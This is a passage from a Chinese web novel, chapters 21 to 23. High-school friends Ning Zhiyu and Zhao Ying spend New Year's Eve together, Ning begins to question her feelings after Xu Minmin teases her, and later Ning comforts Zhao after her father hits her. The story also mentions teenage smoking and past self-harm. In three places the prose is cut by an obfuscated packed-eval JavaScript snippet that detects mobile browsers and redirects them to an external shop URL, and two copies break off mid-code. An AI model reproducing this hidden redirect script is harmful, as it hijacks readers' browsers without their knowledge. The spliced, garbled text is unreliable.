宁执玉本想问她们刚才为什么说话要对自己指指点点的,但是徐敏敏接下来的话把她吓得瞬间目瞪口呆。 徐敏敏轻描淡写:“哦,是泡友。” 啊? 宁执玉怀疑自己一度出现了幻听,她缓慢地扭头看向这个云淡风轻的长发女生:“你说……什么? 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她们头上的烟花绽放得越来越频繁,这意味着跨年倒计时的钟声马上就要到来。 “徐敏敏,你不用回去陪你朋友吗?”等了十几秒后,忍不住再度开口的宁执玉试图驱赶此人离开,“你们不是约好要一起跨年吗?” “哎,没事,现在赶回去倒计时也来不及了,干脆陪你两分钟,回头我再陪她一整晚。”徐敏敏格外坦然道。 宁执玉:? 她怀疑这个跟自家舅舅一个姓氏的眯眯眼女生在开车,但好像没有什么证据。 然而下一秒,徐敏敏口中倏然吐出了一股白烟,怀揣着某种复杂的情绪轻声说道:“毕竟我已经过了像你这样躲在暗恋女生楼下苦苦等候的纯情年纪了。” 宁执玉:“…………啊?” 她足足瞠目结舌了将近七八秒钟才反应过来。 这个她先前从未想过的理念一经出现,好像深夜里突然有一道耀眼的雷霆突然砸在脑门上,又好似有什么无形的众多巨石一下子从天上滚落到自己身上! 惊得宁执玉直接原地蹦起来,大为恼怒地对徐敏敏低吼道:“你你你……你乱讲什么?!我跟她只是朋友!!” 说出这句话时,她只感觉自己原本有点冻僵的脸腾地一下烧起来,也不知道是气的还是恼的。 砰! 砰砰砰! 她们两人头顶的烟花在这一刻达到了数量上的巅峰,变化绚烂的光影落在两人的脸上和身上,小区外头传来了人们的倒计时欢呼声。 “3,2,1……新年快乐!!” 但是宁执玉没有心思去关注什么跨年了,她只是如同遭受了某种巨大的耻辱那样愤怒地盯着这个仅仅有着两面之缘的女生。 用手指夹着香烟的徐敏敏却没有动怒,只是愈发愉快地笑了:“这样吗?那可能是我猜错了吧。抱歉。” “……” 看着这张总是对一切事情都漫不经心的面孔,不知为何,宁执玉更想要揍她了。 老宁下意识地想要辩解几句,但这种事一开口又好像在狡辩,而且她为什么要向一个陌生人证明自己与赵颖的清白呢? 偏偏就在这个时候,宁执玉的手机响了,拿出来一看居然是赵颖打过来的语音电话。 宁执玉先是瞪了抽烟的徐敏敏一眼,后者微笑着举起双手表示投降,不会乱说话后,老宁方才接通。 “我刚刚在给王艺菡做烟花直播时一低头就看到你了!”赵颖兴奋而刻意压低的声音从手机那端传来,“老宁你怎么会来这里?” 21.新年快乐 这一刻,面对赵颖的电话询问,宁执玉多少有点冷汗直冒。 “我……这……” 平日里能言善辩的老宁现在当着这个眯眯眼女生的面前,什么话都不敢乱讲,生怕对方下一秒又开始给自己戴个什么“暗恋女生”的帽子。 围观这一幕的徐敏敏事不关己地继续抽烟,神态懒散地欣赏尴尬小剧场。 电话里赵颖的声音里多出了几分疑惑:“你支支吾吾地做什么,我看你旁边好像有别人?” “……是徐敏敏。” “谁是徐敏敏?你的哪个表姐吗。”老赵更困惑了。 合着她到现在还不知晓这个眯眯眼的真名。 一时间,捧着手机的宁执玉更为难了:“不是,她不是我舅那边的亲戚。总之,你要不要下来当面说?” “下来啊……行!你等我一下,我穿件厚外套!” 挂断电话后,徐敏敏抽了口烟,问了警惕的宁执玉一个意想不到的问题:“你舅舅也姓‘徐’?” 宁执玉有点摸不透她的意图,只好先回答:“对啊。” “那你为什么不姓‘徐’?”徐敏敏问了个更奇怪的问题。 宁执玉困惑了几秒:“因为我爸爸姓‘宁’啊。” “哦,那为什么你爸不姓‘徐’?” “……不是,你有病吧!”宁执玉忍无可忍地骂道,“我姓什么关你什么事!” “确实没关系。”徐敏敏颇为开心地笑笑,“反正我们两个现在闲着也是闲着,随便聊聊嘛。” 被气得没力气说话的宁执玉选择把头扭过去,不想再看到这家伙了。 还好几分钟后,匆匆穿着一身一看就是临时搭配的厚衣服的赵颖就从楼道里跑出来了——她居然还穿着居家毛绒拖鞋,可见是真的很匆忙地从家里偷溜出来。 “老宁!”赵颖远远地就打了声招呼,目光落在笑眯眯的徐敏敏脸上,有些不解,“请问你是……” “徐敏敏。”这人再次自我介绍。 赵颖也有点丈二摸不着头脑,只好说:“你好,我是赵颖。” “呵呵,赵颖,很高兴认识你。”徐敏敏拿着没抽完的小半支烟站起身来,对着一脸郁闷的宁执玉说道,“既然你朋友来了,我也不打扰你们了……先走咯,新年快乐~” “嗯嗯嗯新年快乐!快走吧!”宁执玉心不甘情不愿地发去了新年祝福。 丝毫没有生气的徐敏敏笑着离开了两人的视线范围。 赵颖一脸困惑地看着她的背影离开,又看看坐在石凳上生闷气的宁执玉,试着说:“你们这是……吵架了?” “没,我没事跟陌生人吵什么架。是她自己跑来搭讪我,奇奇怪怪的一个人。” 在她说话之间,赵颖走过来,很自然地想要坐在原本徐敏敏坐过的那个位置,但是宁执玉见状立刻如同触电般跳起来,指着已经被自己体温焐热的位置说:“你坐我这儿。” “啊?为什么?”老赵愣了愣。 “你这条裤子穿得太薄了。坐那里会冷。” “哦哦好。” 于是两个人换了个座位,不过宁执玉看见赵颖很快就适应这椅子的温度,扭了扭身子,冲着自己笑道:“今晚怎么突然一声不吭地跑过来找我玩呀?刚才群聊视频你都没有加入,老周还在群里@你了好几次,我们都以为你已经睡了。” “啊?我没看群……”宁执玉郁闷地挠挠头,“都怪徐敏敏跟我讲话。” 赵颖笑了一下,忽然注意到她身上这件没见过的黑色外套,当即打趣道:“哟,新年穿新衣服了?” “仪式感罢了。” 宁执玉随后便简单解释了这件衣服的真实来历和原本主人,听得老赵一阵无语:“反正阿姨是不会拿我的衣服给赵子璇穿的。” “是因为版型太大了,你妹还穿不上吗?” “不,是她看不上我的衣服。”赵颖冷淡地说。 这个糟糕的家庭笑话让两人都忍不住笑起来。 笑过之后,赵颖想起了什么,顿时一脸兴奋地跟她说:“对了老宁,跟你说个好消息——今年我们家马上要买新房子了!” “哦?”宁执玉有些惊讶,“买房的钱从哪里来?这套老房子就算卖,也卖不出什么高价吧。” “确实是。不过好像是年前我爸的一项工程款终于结算了吧……具体的我不太清楚。”赵颖想着家人谈论此事的表情和细节,有些迷茫,但她旋即又变得兴高采烈起来,“所以他今年才有钱给我发了个大红包!还承诺说到时候新家里我也能有个独立房间了!” “那很好啊!恭喜恭喜!”宁执玉也暂时放下心里的各种乱七八糟想法,由衷地替好友感到高兴,“你一直想要个独立空间很久了。” “哎,是啊,谢谢……” 赵颖搓着被空气有点冻得发冷的双手,一副感慨万千的模样。 这时候宁执玉摸到口袋里的香烟盒,终于想起今晚来找朋友的借口是什么,赶紧提议道:“为了庆祝一下,你想不想来根华子?” “啊?”赵颖难以置信地看着她手里的红色哑光香烟盒,接过来翻来覆去地查看防伪标识,“你从哪儿搞来的这好东西?这是——软中吧,一条好贵的。” 宁执玉又解释了一遍是年前某桌醉酒客人不慎遗落在桌面上忘记带走的香烟盒子。 “因为只有两根嘛,所以感觉好像我们四个人不太够分,我就寻思干脆咱们两个私底下尝尝就行。”宁执玉试图把话说得尽量漂亮圆润一点,免得赵颖察觉到自己有什么奇怪的小心思,“本来今天吃年夜饭时就该拿出来的,但我刚好忘了。刚刚找吹风筒时才发现……所以就临时过来了。” 果不其然,老赵根本没有多想,只是心情畅快地笑着调侃她:“我说宁执玉,你这人的过年仪式感也太重了吧?这又不是什么急事,明后天再拿给我也不迟啊。” 宁执玉:“是啊,哈哈哈。” 还好现在天色够暗,不然赵颖一定会发现她笑得有点勉强。 在这个0点以后的跨年夜里,依旧有许多烟花陆续飞上夜空绽放出绚烂的模样和光彩。于是两人就这样一边坐在椅子上尝试昂贵的名牌香烟,一边抬头观赏着免费的县城烟花秀。 “说起来,老宁,羊城那边能放烟花吗?”赵颖仰着头忽然问道。 宁执玉回忆了一下:“好像城市地区有禁止燃放烟花爆竹的禁令,但郊外和乡下没什么人管。” “这样啊,那不会没有太多的过年氛围吗?” “虽然我们那边的老百姓每年都有抱怨这事儿啦,但城市地区的消防和城管也压力很大……” “那倒也是。” 两人有一搭没一搭地闲聊,赵颖正在仔细品味这贵价香烟的口感跟平时常抽的那些香烟有何区别,却只感觉肩膀上微微一重——宁执玉不知何时把脑袋搁在她肩膀上了,正歪歪扭扭地坐着,整个人的神情看起来莫名疲惫。 此时的赵颖当然不可能无情地一把推开朋友,也完全没有觉得哪里奇怪。 因为女生们之间有时候坐没个正形也是常有的事情,她和王艺菡她们有时候都会打打闹闹地倚在对方身上撒娇之类的,互称“老公老婆”更是习以为常的玩笑话。 所以如今的赵颖只是有点惊讶平日里坐有坐相的宁执玉在这个节日的夜晚里也会突然露出这样疲惫松懈的神态,她颇为小心地问:“老宁,你困啦?” “嗯……有点。”宁执玉叹了口气,感觉自己更累了。 赵颖抬起手,动作轻柔地摸了摸朋友的脑袋,顿了一下说道:“那你靠吧,想靠多久都行。” “——仁义啊,颖姐!”老宁扯了扯嘴角。 赵颖美滋滋的:“那必须的。” “说起来,我今天给你的暖宝宝用了没?” 宁执玉愣了一下,正想要习惯性地在一些她觉得无伤大雅的小事上撒谎,但想了想还是实话实说:“没用。” “嗯?!”赵颖的鼻音一下子不悦地扬起来。 老宁似是没有察觉她的情绪变化,只是低声说:“舍不得用。” 一听这个答案,赵颖立刻怒气全消,语气不知不觉间又变回了原本柔软的语调:“……别舍不得,我回头再送你一箱,对自己好点呗。” “这话该是我对你说吧。”宁执玉回答。 不过赵颖如今对这家伙说的一些话已经保持了怀疑态度,她见到老宁用来偶尔拿一下香烟的那只手如今正搁在腿上,索性去捉来摸一下温度。 “?” 宁执玉当时就懵了,犹豫着要不要闪躲——换作以前,她坦坦荡荡,同性朋友可以随便摸自己的手,随便挽着,大家一起美美地上厕所……但是不知为什么,在听了徐敏敏那句如同魔咒一般蛊惑的话语后,她此刻竟然有些瑟缩和犹豫起来。 但由于这件事情发生的时间很短,老宁还来不及想清楚,她的手就被赵颖抓住了。 “喔,你现在的手居然比我的还暖!”老赵跟发现了新大陆一样惊奇。 宁执玉也松了口气,笑道:“都说我不用暖宝宝也能很快回暖啦。” 赵颖还是不太赞许地看着她:“但你的皮肤很粗糙诶。唉,你舅他们真的是……” 这人一边说,还一边用手指指腹仔细地摩挲过宁执玉的掌心和手背皮肤……克制着自己不要做出什么应激反应的宁执玉就连脸上的伤疤都忍不住略微抽搐起来。 “摊上这样的监护人也没办法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213851|195417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁执玉用一种无奈的语气故作平静地说道,“你要不送我点护手霜得了。” 赵颖面对朋友历来是很爽快的:“可以啊。” 说完老赵就很自然地松开手,想要去抖一抖烟灰,不料宁执玉反手一把抓住了她的手! 赵颖:? 宁执玉:…… 坏了,我的脑残反应要害死我了。 面对老赵投来困惑且正直的纯洁眼神,心思杂乱的宁执玉讪讪地说:“你的手好冷。我给你捂捂?” ——由于老宁以前跟周喜当同桌时也给人在冬天捂过手,不然老周冻得课堂小测都没法握笔写字。结果当时周喜的男朋友在课后气得跑来骂宁执玉,说她竟敢乱摸他女友的爪爪。 而周喜为了维护无辜的暖手宝好友,一怒之下直接跟那沙雕分手了。 这事儿闹得几个朋友都知道,所以赵颖如今也没多想。 说起来这家伙的手确实热啊。 出门没穿够厚衣服的老赵顿时有点心动,但嘴上还是客气推脱一下:“不用吧?” 宁执玉一脸诚恳,说得连自己都快信了:“要的要的,你是陪我在这坐着吹冷风才冻手嘛。” “那……好吧!你帮我回一下温得了。” 于是赵颖把揣在口袋里的另一只手伸出来,捂住了宁执玉的这只手——果然把人冻得一个激灵,但老宁还是咬着嘴里的小半截烟,愣是没有缩回手去。 赵颖看着她咬牙切齿的表情觉得很有意思,当即笑了起来。 她们两人又在楼下坐了一会儿,直到两个人都开始冷得受不了外加身上的烟味也散了大半,才决定各自回家睡觉。 “我送你回去吧?”赵颖提议。 宁执玉的眼神往下一飘:“穿着拖鞋啊?” 赵颖有点尴尬:“……那送你到路口吧。” “不用不用,太冷了,你快回去吧。” “真的?” “比真金还真!我还怕你大过年的感冒了。”宁执玉又开始赶人回去休息,“快回去吧,动作小声点,别吵醒你家人了。” 赵颖看着她好几秒,倏然笑起来:“我们两个这样瞒着所有人见面,好像在偷情哦。” 宁执玉:“……” 她露出了一言难尽的微妙表情,但被老赵误解成是“好无语”的意思。 收拾好心神的宁执玉最后摆摆手说了声“拜拜”后,转身往前走了两步,不料赵颖又忽然叫住她。 宁执玉疑惑地回头:“咋了,老赵?” 只见赵颖有点不太好意思但还是努力装作无所谓的样子抬起双臂,看着神色茫然的宁执玉:“走前不抱一个?” “……啊?”宁执玉先是愣了几秒,见赵颖的表情似乎是来真的,顿时无奈地笑着摇摇头,“行行行。大过年的,满足你。” 下一刻宁执玉快步折返回来,伸出双手同样抱住了赵颖的腰背,把下巴搁在老赵的肩膀上。 宁执玉能够感觉到,虽然这个拥抱的提议是赵颖自己提出的,但这家伙在拥抱后明显身体有些僵硬,动作也一下子生涩起来……显然极少与他人有过这样的亲密接触行为。 可怜的老赵同学,她的家人一定很少这样拥抱过她吧。宁执玉不受控制地胡思乱想起来。 她轻轻地用手掌拍了拍朋友的背脊。 事实上,赵颖并不是一个很强壮魁梧的女生,但真搂在怀里时,宁执玉依旧能轻易感受到对方身上的体温是如此温暖。 如此近距离,她能闻到赵颖发丝上的洗发水香味,也能察觉到对方衣服上有着肥皂的干净气味和她身上的气味……她忽然就想要莫名叹气,但理智在线,好歹还是忍住了这种悲伤的冲动。 然而几秒后,赵颖在宁执玉的耳边低声述说:“那个,今天是过年,明明咱们几个小时前才吃了年夜饭。但老宁你突然来找我……唉,怎么说呢,我其实有点被吓了一跳。” 宁执玉顿时同样被吓得不知道该怎么回答! 还好赵颖也不需要她回答什么,只是继续絮絮叨叨地说:“我知道你这人平时的性格很坚强。但刚才在楼上看到你时,我突然觉得——你是不是今晚的心情不太好啊?” “……” 这回轮到宁执玉整个人都僵硬了。 被猜中了。 “虽然我不知道你是不是因为想家或者想爸妈了,才会在这个时候来找我。但是没关系,我们是朋友嘛。”赵颖把她整个人稍微往前推了一下,笑着看着眼前之人的眼睛,然后非常认真地说道,“所以我还是真心地希望宁执玉你……新年快乐。” 宁执玉怔怔地看着她好一会儿,终于还是努力如平时那样露出淡然的微笑:“是啊,老赵。我也祝你新年快乐。” 22.过完年了 事实上,宁执玉这天晚上回去后也没有睡得很好,她睡前一直在想徐敏敏那句宛若蛊惑般带着某种魔力的话语。 【“毕竟我已经过了像你这样躲在暗恋女生楼下苦苦等候的纯情年纪了。”】 一回忆到当时两人的对话场面和随后与赵颖单独相处时的种种突发情况,老宁就尴尬得想要用被子蒙住自己的头,在床上滚来滚去。 但这个简陋的“床”很容易塌,宁执玉其实也不敢太折腾它。 所以她逼迫自己不去思考这个错误的观点,但偏偏人的大脑就是这样,越不想去思考,越会胡思乱想个不停。 “暗恋女生”……天哪!这说的是谁?该死的徐敏敏是对她宁某人下了什么邪术降头吗! 长久以来的既定三观让宁执玉根本不想承认这件事,她一直以为自己是个普通的直女,哪怕目前没有遇到喜欢的男生,以后也会遇到的……但她同时又感到自身有某些不太了解的方面出现了认知错乱。 以至于宁执玉思来想去最后也分不清自己对于赵颖的特别关照到底是出于友情本身还是……不能说的一些情感? 最后宁执玉想得脑子的CPU都要爆炸了,遂彻底放弃这方面的所有思考,绝望地决定立刻睡觉。 算了,管它呢!把一切交给命运和缘分就行了! ………… …… 快乐的过年放假日子又过去了五六天,眼看高二下学期即将提前数日开学,而老宁的监护人一家也从乡下回来了。 两个表弟依旧没有给这个寄宿在自己家店里的表姐什么好脸色看,一进门,大表弟徐宗昌就一如既往地趾高气扬,恶意地询问老宁为什么要捡自己不要的旧衣服穿,再这样下去干脆去泔水桶里捡垃圾吃得了。 这个年纪的初中男生很多都是这副傻逼样子,既开始对异性感到好奇,又要疯狂挑衅对方。 懒得跟他吵架的宁执玉连眼皮都没有抬一下,帮着舅妈把沉重的行李箱从店门口舅舅的本田轿车后备箱里扛下来。 膘肥体壮的徐宗昌干脆拦路,语气很是不善:“喂!姓宁的,我跟你说话呢,你他妈的耳朵聋啦?” “徐宗昌,我劝你的嘴巴最好放干净点,过个年而已,就敢这样跟姐姐我说话?” 宁执玉停下脚步,她面无表情地看着这个小子,寻思着等会儿要怎么攻击对方才能打出破防特效。 “我可从来没承认过你是我姐!” 此时坐在车里的小表弟徐昌耀也摇下车窗好奇地看戏,说着“就是就是”之类支持哥哥的话语。 宁执玉阴恻恻地扯了一下嘴角:“你算老几?我要你承认?” 徐宗昌大怒:“你……” 刚刚开完一趟车的老徐跳下驾驶室就看到了这一幕,对于儿子和外甥女总是起冲突这件事也觉得很烦——不是因为要主持公道的那种烦躁,而是知道宁执玉被自家老大挑衅多了就会突然暴怒地抡起拳头打过去。两个孩子多半年还没过完就要进医院急诊——因此他赶忙分开两个年轻人对峙的场面。 “小昌,不帮忙拿东西就别挡着你姐的去路。”开车开得腰酸背痛的老徐索性臭骂每一个孩子,“小玉,赶紧帮忙从后尾箱里搬东西下来,老家那些菜都很新鲜,在车里放不久!” 于是这对姐弟俩没能在新一年直接来掐一场架。 在老宁扛着一袋番薯走进店里时,站在旁边袖手旁观的徐宗昌冷笑着警告道:“你给我等着……啊!” 他突然惨叫起来。 因为宁执玉手里那个几十斤重的编织袋“不小心”垂落地面,然后“更不小心”碰到了他的脚趾头——哪怕隔着球鞋阻隔,不至于当场骨折或者怎么样,但传来的闷痛也够这个傻逼表弟喝一壶的。 “不好意思。”宁执玉一把推开恨不得捂着脚单腿跳来跳去的这白痴弟弟,毫无诚意地道歉,“你挡路了。” 徐宗昌气得直接喷出了更多污言秽语。 走在前头的舅舅听到后面的叫骂声回头看了一眼,皱眉道:“你们两个怎么回事!把我的话当耳旁风吗?” 徐宗昌带着点哭腔告状:“爸!宁执玉用番薯袋子打我——” 看吧,废物点心男就是这样只会跟家长打小报告。 宁执玉这么想着,脸上露出了一个非常真诚的道歉表情:“舅舅,我一个女生,没什么力气嘛,扛着那么重的东西不小心磕磕碰碰到哪里也很正常吧?都怪小昌自己站在那条路上。” “你胡说!”徐宗昌很生气,“我站得离你那么远!” “哦?那你怎么能确定是我手里的番薯袋子砸到你的脚呢?万一是你自己抽筋了呢——那得让舅妈给你买点钙片补补钙才行啊。”宁执玉反问道。 “行了行了,都别吵,”站在收银台里的老徐不耐烦地打断道,“小昌你回车上去陪弟弟,不然你也帮你小玉姐姐一起搬东西!” 一听说要干苦力,混蛋表弟立刻开溜,宁执玉对此也不以为意,继续帮忙搬运车上的青菜和一些作物。 老宁跟徐宗昌这个小几岁的弟弟恩怨来源于她刚来陈水那会儿。由于停学休息的缘故,按理应该上初一但没去成的宁执玉有时候就会帮店里做做简单的工作,比如择菜啊、洗菜啊之类的。 她那时候不怎么说话,身上也总带有自我伤害的痕迹,顶着一张随时要暴毙街头的厌世脸,一天到晚斜着眼睛看别人。 舅舅老徐怕这孩子某天突然想不开,在自己的店里自杀,因此非常大方地批准了宁执玉“每周有一瓶免费饮料”的特权。 也就是说,她一个月可以免费喝店里四瓶350毫升的罐装可乐,超了就要记账,回头用帮店里工作时长补回来……真的是一个非常大方感人的故事。 结果某一天,那时候还在读小学的徐宗昌跟同班同学吹牛皮,夸下海口,说可以自家开店有钱,能请每人喝两瓶饮料! 全班欢呼雀跃,纷纷称赞徐老板大气。徐宗昌被夸得飘飘然,却又骑虎难下,只好真的筹划起去哪里搞这么多饮料过来……几个男生一商议,当即在体育课期间开溜,想来烧烤店里搬运饮料回班里去。 事实上,老徐对自己儿子虽然没有对宁执玉那么抠门,但七八十瓶饮料一下子送出去也是百来块钱的成本价,回头知道了多半也是要打徐宗昌一顿的。 徐宗昌自然知晓自家父母的抠门性格,便在结账时偷偷把这三大箱饮料的账记在了宁执玉头上。 这样做没什么别的原因,纯粹是这小子孬种,敢做不敢当,以及觉得这个便宜姐姐特别好欺负的样子。 当时成天想着怎么才能折磨自己、缓解内心痛苦的宁执玉:? 她连死和痛都不怕,还怕你一个臭弟弟的栽桩和甩黑锅? 于是老宁当场就跟垃圾表弟在烧烤店里来了一场无限制格斗,打得徐宗昌躺在地上大哭起来。 几个本来嘻嘻哈哈搬运饮料的男同学看得目瞪口呆,反应过来后纷纷进来试图助拳,结果他们也被宁执玉给狠狠地打了…… 当然,宁执玉下手知道轻重,徐宗昌的模样最惨,其他人顶多是皮外伤和有一些瘀青。 这件事的后续处理让老徐更加头疼,抓着她去跟那几个同学和对方家长赔礼道歉。宁执玉到了现场一声不吭,就是死死地盯着这些人看,仿佛做鬼也不会放过这些面孔,看得这些人个个毛骨悚然,顿时破口大骂起来。 老徐倒是趁热打铁,直言这孩子就是个神经病、自鲨爱好者!你们骂一骂就得了,万一她回头想不开做出什么事情来,比如半夜提着刀拜访谁……这对大家都不好嘛,对不对。 其他同学的家长也没想到孩子们在班上喝个饮料能招来一个脸上带疤、神色不善的神经病,再加上自家孩子的伤势其实都很轻,谁都不想真的惹事。 有家长就说算了算了,小孩子打打闹闹而已,其他人也赶紧应和。 这事情才算是过去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到这里,宁执玉便真的打算搭个公交车坐几站去这儿的图书馆,起码那里有自习室,学习氛围会比在烧烤店里好很多。 什么,你说为什么不去茶饮店里学习? 开玩笑,她宁某人像是能奶茶自由的人吗。 不消费的话还好意思去人家店里坐着?广东妹你真来陈水这小地方要饭来啦? 然而就在公交站等车之际,宁执玉兜里的手机响了,她本以为是什么快递员恢复春节派送的电话,没想到拿出来一看是赵颖的来电。 老宁也没有多想什么,径直接通,谁知那头传来的是徐敏敏那独特而愉快的声音。 “嘿,表妹,新年好啊。” 宁执玉闻言顿时大无语,谁是你表妹啊徐敏敏。 她突然反应过来,连忙大声问道:“不是!你怎么拿着赵颖的手机啊?我朋友呢!” “你别慌。”徐敏敏好整以暇地说,“赵颖没事,但她现在状态不太好。” “啊?什么情况?”宁执玉一愣。 她跟赵颖的最近一次联系还停留在几天前,那时候老赵被父母带着去参观完自己位于另外一个小区的新家。虽然是二手房,但赵颖回来后就迫不及待地跟她分享了一堆关于未来生活的美好期望。 宁执玉也替朋友感到高兴。 徐敏敏的声音没有什么波动地继续阐述:“我刚才看见她的时候,她还趴在地上嗷嗷地哭——” 这个“嗷嗷地”几个普通话字眼被徐敏敏咬得格外精准,甚至带着明显的东北口音。 “敏敏姐!”电话那端传来了赵颖依稀还带着点哭腔的羞耻大喊,于是徐敏敏语带笑意地安抚她“好了好了我不说了”…… 但这一切都让宁执玉的心一下子被揪起来,连忙问道:“你们在哪儿?我现在过去看看。” 23.晒太阳 七八分钟后,宁执玉按照电话里给出的定位地址一路赶来。 当她气喘吁吁地出现在两人面前时,发现这两人正坐在路边的花坛边缘台阶上一边抽烟一边等自己。 正如徐敏敏所言,赵颖的模样明显刚刚大哭过一场,身上羽绒服有些磨蹭到地上时沾染的污渍痕迹,她正叼着烟发呆,烟灰长长的一截都没有弹,显得整个人神情沮丧。 反倒是今天的徐敏敏倒是穿着一件修身的黑色皮衣,下身套着宽松长裙,特别有成熟姐姐的那种魅力。 “我草……我……呼……跑过来……老赵,你……呼呼……” 说话都讲不利索的宁执玉由于穿着一身厚外套,在大冬天里背着个沉重的书包狂奔了那么久,早就一身是汗。如今好不容易抵达目的地确认两人没事后,她更是累得只能弯腰扶着膝盖直喘气。 赵颖也大惊失色,嘴里咬着烟整个人却如弹簧般跳起来,去帮朋友把书包拿过来放在地上并安慰道:“你缓缓先,怎么跑得那么急?” “啊……”宁执玉闭着眼睛深呼吸,摆摆手,不想说话了。 坐在旁边看戏的徐敏敏似乎还嫌她不够喘,面带笑意地问:“你要不要也来一根?” 宁执玉怀疑她只是想看自己窒息而亡。 站在旁边的赵颖一直在帮忙拍她的后背,帮老宁顺顺气。 片刻后,宁执玉好不容易终于缓过劲来,立刻开始说话:“我以为你们两个出了什么事,吓得我从烧烤店那边一路跑过来了。” 赵颖略感惊讶:“你那边到这儿不是有公交吗?正常走过来起码都要15分钟啊。” 她立刻明白老宁为何气喘如牛的原因,合着是刚刚跑了一趟远超过体测考试的长度距离。 宁执玉浑不在意地解释:“得等车,下一班车还要20分钟才来。” “……”,赵颖抿着嘴不说话了,但她看起来有点感动。 “行了行了,既然我的‘表妹’来了,那我也该走了。” 抽完烟的徐敏敏如同做好事不留名的雷锋同志那样,非常潇洒地站起身,向两个女孩子告别。 “赵颖,关于我刚才对你说的那些话……你有空可以多想想。”徐敏敏说。 神情莫测的赵颖低着头盯着花坛里的花花草草,“嗯”了一声。 宁执玉看了老赵一眼,没有追问“你们聊了啥”,而是快步靠近徐敏敏。 徐敏敏:? 她看这人一副不苟言笑的表情,多少有些怀疑宁执玉是不是要突然打自己两拳。 不过作为六中的好学生,老宁怎么会随便打人呢? 只见宁执玉拉着这个眯眯眼姐姐的衣袖往远处走了几步,确认赵颖听不见两人的聊天音量后才低声开口:“那个,老赵今天的事情,谢谢你专程给我打电话。不然我还真不清楚。” 徐敏敏顿时笑了:“偶然遇到就帮一下咯。但我觉得安抚别人好麻烦,所以干脆交给你来处理吧。” ——反正你也乐意,不是吗?这是徐敏敏没有说出口,但老宁通过她脸上的表情所读出来的潜台词。 莫名心虚的宁执玉擦了擦头上的汗:“……好的。还是谢谢敏敏姐了。” “咦?宁执玉,你真承认我是你表姐啦?”徐敏敏觉得这事儿也挺搞笑的,作为一个北方长大的姑娘,她从来没想到自己会在四川跟一个南方人认亲。 “随便吧,敏敏姐你要乐意认个亲,我也没办法,是吧。”宁执玉笑着掏出手机,“我们加个联系方式吧。” 徐敏敏爽快同意:“也行,再有下次我就不需要借用赵颖的手机给你打电话了。” “……” 什么人啊这是。怎么还会有下次! 等送走了徐敏敏,宁执玉折返回去,发现坐回花坛边缘的赵颖此刻那支烟也抽完了,正不自觉地眉头紧锁着发呆。 于是她也一屁股坐在了旁边的花坛边缘上,侧着头看向老赵:“老赵你……等等,你脸上的伤又是怎么回事。” 这对话怎么有点眼熟?宁执玉疑惑不解。 一侧脸颊有点异常红肿的赵颖停顿了一下,方才用一种毫无波动的语气说道:“被我爸,打的。” “好端端的,为什么打你?”老宁的眉头也皱起来了。 赵颖垂头丧气地耷拉着脑袋,没开口,但怎么看都很委屈。 见此状况,宁执玉实在是被气得够呛。 ——不是,赵杰你有病吧!平时家暴孩子就先不说了,怎么大过年的还在打?你就这么爱自由搏击吗? 她一想到这里,本就不善的表情愈发阴沉起来。 “唉。” 宁执玉格外郁闷地长叹一声。 旋即她抬头张望周围,看见不远处的小区楼下有一家开门营业的小卖部,当即拍拍赵颖的肩膀:“等我两分钟就回来。” 赵颖依旧没有抬头,只是盯着脚下的路面地砖缝隙和旁边那个属于老宁的沉重书包,含糊地应了一声。 以最快速度去了一趟小卖部,宁执玉拿回来一瓶表面还透着寒气的冰镇矿泉水,她掏出纸巾一起直接递给赵颖,劝慰道:“冰敷一下吧。” 这回赵颖倒是没有拒绝,依言照做。 不过她一直举着这满满一瓶矿泉水,很快就显得手臂酸痛,因此只能略显狼狈地换另外一只手举着。 原本默默地坐在旁边陪伴的宁执玉问:“要不要我帮你一下?” 赵颖打不起劲,但还是勉强看向她:“怎么帮?” 坐在花坛边缘的老宁指了指自己与地面平行的大腿:“你躺在我腿上。我帮你拿这瓶水贴着脸。” “……啊?” 赵颖做梦都没想过有这种冰敷姿势,一时间甚至以为宁执玉在开玩笑,但她很快发现朋友的表情很严肃,既没有什么轻佻的逗弄神态也明显没有在说笑。 “没事的,既然你现在不舒服,就暂时躺过来吧。”宁执玉用一种平和的口吻自嘲说,“我这条裤子是昨天才洗净晒干的,你可以不用担心太脏。” 赵颖顿时大为窘迫:“我、我没有嫌这个啦!” 原本神色严肃的宁执玉倏然笑了一下:“我知道。我故意这样说的。” 老赵顿时觉得这家伙真是太可恶了…… 但她由于两条手臂很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵颖一想确实是这个道理,这人又不是傻子,腿麻了当然可以把自己叫醒挪开……于是她就这样一边任人帮忙冰敷着脸上的伤势,一边迷迷糊糊地睡着了。 宁执玉默默地用手机定了个十分钟后的闹钟——不是用来叫醒朋友的,而是用来结束冰敷时间的——然后她仔细感受了一下现在的室外温度和阳光照射而来的暖意,想了想,感觉自己现在不算冷,便把身上的那件黑色厚外套脱下来,给睡着的赵颖盖身上了。 睡着的人非常容易受凉感冒,所以一定要用被子盖住肚脐眼……这也是小时候家人告诉宁执玉的生活知识。 然后,她从书包里摸出了笔记本,开始抓紧时间看起来。 将近二十分钟后,赵颖终于迷迷糊糊地醒过来,老宁的腿也快麻断了,但她沉浸在知识的海洋中暂时遗忘了这事儿。 阳光很明亮,身上也暖洋洋的,照得赵颖不得不眯起眼睛来适应周遭的光线。她茫然且迷惑地看着这个近在咫尺的朋友,一时间居然忘了这里是个什么环境。 